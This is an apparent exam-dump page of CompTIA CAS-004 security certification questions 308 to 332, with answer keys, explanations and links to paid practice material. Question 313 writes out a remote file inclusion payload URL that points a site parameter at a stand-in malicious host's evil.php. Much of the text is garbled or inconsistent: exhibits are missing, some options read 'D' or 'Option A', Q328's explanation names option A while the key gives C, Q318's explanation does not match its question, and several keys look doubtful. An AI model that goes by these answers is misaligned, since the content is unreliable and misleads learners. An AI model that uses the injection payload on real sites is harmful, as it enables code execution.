100% Real & Accurate CAS-004 Questions and Answers with Free and Fast Updates
Get Unlimited Access to CAS-004 Certification Exam Cert Guide
NEW QUESTION # 308
A high-severity vulnerability was found on a web application and introduced to the enterprise. The vulnerability could allow an unauthorized user to utilize an open-source library to view privileged user information. The enterprise is unwilling to accept the risk, but the developers cannot fix the issue right away.
Which of the following should be implemented to reduce the risk to an acceptable level until the issue can be fixed?
- A. Deploy a VPN, configure an official open-source library repository, and perform a full application review for vulnerabilities.
- B. Change privileged usernames, review the OS logs, and deploy hardware tokens.
- C. Scan the code with a static code analyzer, change privileged user passwords, and provide security training.
- D. Implement MFA, review the application logs, and deploy a WAF.
Answer: D
Explanation:
Reference: https://www.microfocus.com/en-us/what-is/sast
Implementing MFA can add an extra layer of security to protect against unauthorized access if the vulnerability is exploited. Reviewing the application logs can help identify if any attempts have been made to exploit the vulnerability, and deploying a WAF can help block any attempts to exploit the vulnerability.
While the other options may provide some level of security, they may not directly address the vulnerability and may not reduce the risk to an acceptable level.
NEW QUESTION # 309
During an adversarial simulation exercise, an external team was able to gain access to sensitive information and systems without the organization detecting this activity. Which of the following mitigation strategies should the organization use to best resolve the findings?
- A. Setting up a honey network for attackers
- B. Configuring a honeypot for adversary characterization
- C. D
- D. Leveraging simulators for attackers
- E. Utilizing decoy accounts and documents
Answer: C
NEW QUESTION # 310
A security manager is creating a standard configuration across all endpoints that handle sensitive dat a. Which of the following techniques should be included in the standard configuration to ensure the endpoints are hardened?
- A. Patch management
- B. Event logging
- C. Drive encryption
- D. Resource monitoring
Answer: C
Explanation:
Step by Step
Drive encryption protects sensitive data at rest by ensuring unauthorized access cannot expose the data if the physical endpoint is compromised.
Patch management is a necessary security control but does not specifically address endpoint hardening for sensitive data.
Event logging aids in monitoring and incident detection but does not directly harden endpoints.
Resource monitoring manages system performance and availability but is unrelated to data security.
NEW QUESTION # 311
A new web server must comply with new secure-by-design principles and PCI DSS. This includes mitigating the risk of an on-path attack. A security analyst is reviewing the following web server configuration:
Which of the following ciphers should the security analyst remove to support the business requirements?
- A. TLS_DHE_DSS_WITH_RC4_128_SHA
- B. TLS_CHACHA20_POLY1305_SHA256
- C. TLS_AES_128_GCM_SHA256
- D. TLS_AES_128_CCM_8_SHA256
Answer: A
NEW QUESTION # 312
A pharmaceutical company uses a cloud provider to host thousands of independent resources in object storage. The company needs a practical and effective means of discovering data, monitoring changes, and identifying suspicious activity. Which of the following would best meet these requirements?
- A. A machine-learning-based data security service
- B. An automated data classification system
- C. A cloud configuration assessment and compliance service
- D. A file integrity monitoring service
Answer: A
Explanation:
A machine-learning-based data security service provides dynamic discovery, anomaly detection, and behavioral analysis. It effectively identifies changes and suspicious activity across large-scale environments, such as object storage in the cloud.
NEW QUESTION # 313
A security engineer notices the company website allows users following example:
hitps://mycompany.com/main.php?Country=US
Which of the following vulnerabilities would MOST likely affect this site?
- A. Directory traversal -
- B. Unsecure Reference
- C. Remote file inclusion
- D. SQL injection
Answer: C
Explanation:
Remote file inclusion (RFI) is a web vulnerability that allows an attacker to include malicious external files that are later run by the website or web application12. This can lead to code execution, data theft, defacement, or other malicious actions. RFI typically occurs when a web application dynamically Reference external scripts using user-supplied input without proper validation or sanitization23.
In this case, the website allows users to specify a country parameter in the URL that is used to include a file from another domain. For example, an attacker could craft a URL like this:
https://mycompany.com/main.php?Country=https://malicious.com/evil.php
This would cause the website to include and execute the evil.php file from the malicious domain, which could contain any arbitrary code3.
NEW QUESTION # 314
An organization's finance system was recently attacked. A forensic analyst is reviewing the contents Of the compromised files for credit card data.
Which of the following commands should the analyst run to BEST determine whether financial data was lost?
- A. Option A
- B. Option B
- C. Option D
- D. Option C
Answer: D
NEW QUESTION # 315
An organization is deploying a new, online digital bank and needs to ensure availability and performance. The cloud-based architecture is deployed using PaaS and SaaS solutions, and it was designed with the following considerations:
- Protection from DoS attacks against its infrastructure and web applications is in place.
- Highly available and distributed DNS is implemented.
- Static content is cached in the CDN.
- A WAF is deployed inline and is in block mode.
- Multiple public clouds are utilized in an active-passive architecture.
With the above controls in place, the bank is experiencing a slowdown on the unauthenticated payments page.
Which of the following is the MOST likely cause?
- A. The public cloud provider is applying QoS to the inbound customer traffic.
- B. The site is experiencing a brute-force credential attack.
- C. The API gateway endpoints are being directly targeted.
- D. A DDoS attack is targeted at the CDN.
Answer: A
NEW QUESTION # 316
An organization developed a containerized application. The organization wants to run the application in the cloud and automatically scale it based on demand. The security operations team would like to use container orchestration but does not want to assume patching responsibilities. Which of the following service models best meets these requirements?
- A. MaaS
- B. PaaS
- C. SaaS
- D. laaS
Answer: B
Explanation:
In this scenario, the organization is looking to deploy a containerized application in the cloud and wants the infrastructure to automatically scale without handling patch management. A Platform as a Service (PaaS) model is the best fit because it allows developers to focus on the application and its deployment, while the cloud provider manages the underlying infrastructure, including patching and scaling. PaaS supports container orchestration, enabling automated scaling based on demand, and offloads most operational responsibilities to the provider. This is in contrast to Infrastructure as a Service (IaaS), which requires more direct management of the infrastructure, including patching. CASP+ highlights PaaS as a service model that minimizes operational overhead for security operations teams.
References:
* CASP+ CAS-004 Exam Objectives: Domain 3.0 - Enterprise Security Architecture (Cloud Service Models)
* CompTIA CASP+ Study Guide: Cloud Computing and PaaS Benefits
NEW QUESTION # 317
A security researcher identified the following messages while testing a web application:
Which of the following should the researcher recommend to remediate the issue?
- A. Proper error handling
- B. Elimination of the use of unsafe functions
- C. Packet inspection
- D. Software composition analysis
Answer: A
Explanation:
The log messages in the image display detailed error messages, indicating improper error handling, which can expose sensitive information to potential attackers. Proper error handling ensures that error messages do not reveal underlying application details (such as file paths or configuration information) that could be exploited.
This aligns with the best practices in secure coding and is a core concept in CASP+. Rather than exposing the inner workings of the application, the system should return generic error messages to users while logging detailed information securely for internal troubleshooting.
References:
CASP+ CAS-004 Exam Objectives: Domain 2.0 - Enterprise Security Operations (Secure Coding, Error Handling) CompTIA CASP+ Study Guide: Web Application Security and Proper Error Handling Techniques
NEW QUESTION # 318
A customer reports being unable to connect to a website at www.test.com to consume services.
The customer notices the web application has the following published cipher suite:
Which of the following is the MOST likely cause of the customer's inability to connect?
- A. Weak ciphers are being used.
- B. The public key should be using ECDSA.
- C. The default should be on port 80.
- D. The server name should be test.com.
Answer: A
Explanation:
New vulnerabilities like Zombie POODLE, GOLDENDOODLE, 0-Length OpenSSL and Sleeping POODLE were published for websites that use CBC (Cipher Block Chaining) block cipher modes.
These vulnerabilities are applicable only if the server uses TLS 1.2 or TLS 1.1 or TLS 1.0 with CBC cipher modes.
Reference:
https://community.progress.com/s/article/unable-to-connect-to-site-externally-weak-cipher-or-
http2-error
NEW QUESTION # 319
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process memory location.
Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?
- A. No-execute
- B. Total memory encryption
- C. Virtual memory encryption
- D. Execute never
Answer: A
NEW QUESTION # 320
An organization recently recovered from an attack that featured an adversary injecting Malicious logic into OS bootloaders on endpoint devices Therefore, the organization decided to require the use of TPM for measured boot and attestation, monitoring each component from the IJEFI through the full loading of OS components. of the following TPM structures enables this storage functionality?
- A. Platform configuration registers
- B. Clock/counter structures
- C. Endorsement tickets
- D. Command tag structures with MAC schemes
Answer: A
Explanation:
TPMs provide the ability to store measurements of code and data that can be used to ensure that code and data remain unchanged over time. This is done through Platform Configuration Registers (PCRs), which are structures used to store measurements of code and data. The measurements are taken during the boot process and can be used to compare the state of the system at different times, which can be used to detect any changes to the system and verify that the system has not been tampered with.
NEW QUESTION # 321
An analyst execute a vulnerability scan against an internet-facing DNS server and receives the following report:
Which of the following tools should the analyst use FIRST to validate the most critical vulnerability?
- A. Password cracker
- B. Exploitation framework
- C. Account enumerator
- D. Port scanner
Answer: A
NEW QUESTION # 322
A company's Chief Information Security Officer is concerned that the company's proposed move to the cloud could lead to a lack of visibility into network traffic flow logs within the VPC.
Which of the following compensating controls would be BEST to implement in this situation?
- A. HIDS
- B. UEBA
- C. SIEM
- D. EDR
Answer: C
NEW QUESTION # 323
A Chief information Security Officer (CISO) is developing corrective-action plans based on the following from a vulnerability scan of internal hosts:
Which of the following MOST appropriate corrective action to document for this finding?
- A. The product owner should perform a business impact assessment regarding the ability to implement a WAF.
- B. The system administrator should evaluate dependencies and perform upgrade as necessary.
- C. The application developer should use a static code analysis tool to ensure any application code is not vulnerable to buffer overflows.
- D. The security operations center should develop a custom IDS rule to prevent attacks buffer overflows against this server.
Answer: A
NEW QUESTION # 324
A software development company is implementing a SaaS-based password vault for customers to use. The requirements for the password vault include:
Vault encryption using a variable block and key size
Resistance to brute-force attacks
Which of the following should be implemented to meet these requirements? (Select two.)
- A. AES
- B. PBKDF2
- C. P256
- D. RC5
- E. RIPEMD
- F. ECDSA
Answer: A,B
Explanation:
Comprehensive and Detailed Step by Step Explanation:
PBKDF2 (Password-Based Key Derivation Function 2)strengthens passwords against brute-force attacks.
AES (Advanced Encryption Standard)supports variable block and key sizes, making it ideal for secure encryption.
RC5,P256, andECDSAare not relevant to password vault requirements.
RIPEMDis a hashing algorithm and does not meet the criteria for encryption or brute-force resistance.
References:
CompTIA CASP+ Exam Objective 2.1: Implement cryptographic technologies.
CASP+ Study Guide, 5th Edition, Chapter 9, Cryptographic Tools.
NEW QUESTION # 325
A security administrator is setting up a virtualization solution that needs to run services from a single host.
Each service should be the only one running in its environment. Each environment needs to have its own operating system as a base but share the kernel version and properties of the running host. Which of the following technologies would best meet these requirements?
- A. Containers
- B. Type 1 hypervisor
- C. Virtual desktop infrastructure
- D. Type 2 hypervisor
- E. Emulation
Answer: A
Explanation:
The most appropriate technology for this virtualization solution is containers. Containers allow multiple services to run on a single host with isolated environments, while sharing the same kernel version and properties of the host operating system. Each container has its own instance of the operating system and runs independently from the others, meeting the requirement for separate environments with their own OS.
Containers are more lightweight than full hypervisors and are ideal for running microservices in isolated environments. CASP+ emphasizes the use of containers in scenarios where services need to be isolated but share the same host OS kernel.
References:
CASP+ CAS-004 Exam Objectives: Domain 3.0 - Enterprise Security Architecture (Virtualization Technologies, Containers) CompTIA CASP+ Study Guide: Virtualization and Containerization for Isolated Services
NEW QUESTION # 326
A company's employees are not permitted to access company systems while traveling internationally. The company email system is configured to block logins based on geographic location, but some employees report their mobile phones continue to sync email traveling . Which of the following is the MOST likely explanation?
(Select TWO.)
- A. VPN on the mobile device
- B. Outdated escalation attack
- C. Unrestricted email administrator accounts
- D. Privilege escalation attack
- E. Disabled GPS on mobile devices
- F. Chief use of UDP protocols
Answer: A,E
NEW QUESTION # 327
A SOC analyst is reviewing malicious activity on an external, exposed web server. During the investigation, the analyst determines specific traffic is not being logged, and there is no visibility from the WAF for the web application.
Which of the following is the MOST likely cause?
- A. Old, vulnerable cipher suites are still being used.
- B. HTTP traffic is not forwarding to HTTPS to decrypt.
- C. The user agent client is not compatible with the WAF.
- D. A certificate on the WAF is expired.
Answer: D
Explanation:
Reference: https://aws.amazon.com/premiumsupport/knowledge-center/waf-block-http-requests- no-user-agent/
NEW QUESTION # 328
A security analyst at a global financial firm was reviewing the design of a cloud-based system to identify opportunities to improve the security of the architecture. The system was recently involved in a data breach after a vulnerability was exploited within a virtual machine's operating system. The analyst observed the VPC in which the system was located was not peered with the security VPC that contained the centralized vulnerability scanner due to the cloud provider's limitations. Which of the following is the BEST course of action to help prevent this situation m the near future?
- A. Migrate the system to another larger, top-tier cloud provider and leverage the additional VPC peering flexibility.
- B. Enable VPC traffic mirroring for all VPCs and aggregate the data for threat detection.
- C. Establish cross-account trusts to connect all VPCs via API for secure configuration scanning.
- D. Implement a centralized network gateway to bridge network traffic between all VPCs.
Answer: C
Explanation:
Explanation
The BEST course of action for the security analyst to help prevent a similar situation in the near future is to Establish cross-account trusts to connect all VPCs via API for secure configuration scanning (A).
Cross-account trusts allow for VPCs to be securely connected for the purpose of secure configuration scanning, which can help to identify and remediate vulnerabilities within the system.
NEW QUESTION # 329
A company is preparing to deploy a global service.
Which of the following must the company do to ensure GDPR compliance? (Choose two.)
- A. Provide data deletion capabilities.
- B. Provide alternative authentication techniques.
- C. Inform users regarding what data is stored.
- D. Grant data access to third parties.
- E. Provide optional data encryption.
- F. Provide opt-in/out for marketing messages.
Answer: A,C
Explanation:
Explanation
The main rights for individuals under the GDPR are to:
allow subject access
have inaccuracies corrected
have information erased
prevent direct marketing
prevent automated decision-making and profiling
allow data portability (as per the paragraph above)
source:https://www.clouddirect.net/11-things-you-must-do-now-for-gdpr-compliance/
NEW QUESTION # 330
A security analyst notices a number of SIEM events that show the following activity:
Which of the following response actions should the analyst take FIRST?
- A. Restart Microsoft Windows Defender.
- B. Disable powershell.exe on all Microsoft Windows endpoints.
- C. Disable local administrator privileges on the endpoints.
- D. Configure the forward proxy to block 40.90.23.154.
Answer: D
Explanation:
Stop the data exfiltration and sever all malicious traffic first, and then clean up the internal mess.
NEW QUESTION # 331
A company that uses AD is migrating services from LDAP to secure LDAP. During the pilot phase, services are not connecting properly to secure LDAP. Block is an except of output from the troubleshooting session:
Which of the following BEST explains why secure LDAP is not working? (Select TWO.)
- A. The secure LDAP service is not started, so no connections can be made.
- B. The clients may not trust idapt by default.
- C. The clients may not trust Chicago by default.
- D. Secure LDAP should be running on UDP rather than TCP.
- E. Danvills.com is under a DDoS-inator attack and cannot respond to OCSP requests.
- F. Secure LDAP does not support wildcard certificates.
- G. The company is using the wrong port. It should be using port 389 for secure LDAP.
Answer: B,F
Explanation:
The clients may not trust idapt by default because it is a self-signed certificate authority that is not in the trusted root store of the clients. Secure LDAP does not support wildcard certificates because they do not match the fully qualified domain name of the server. Verified References: https://www.professormesser.com
/security-plus/sy0-401/ldap-and-secure-ldap/ , https://www.comptia.org/training/books/casp-cas-004-study- guide
NEW QUESTION # 332
......
Reliable Study Materials for CAS-004 Exam Success For Sure: https://www.testkingfree.com/CompTIA/CAS-004-practice-exam-dumps.html
100% Latest Most updated CAS-004 Questions and Answers: https://drive.google.com/open?id=1Sa7WqoN4qIRbKvZ2SoGNpXmmph5O4olU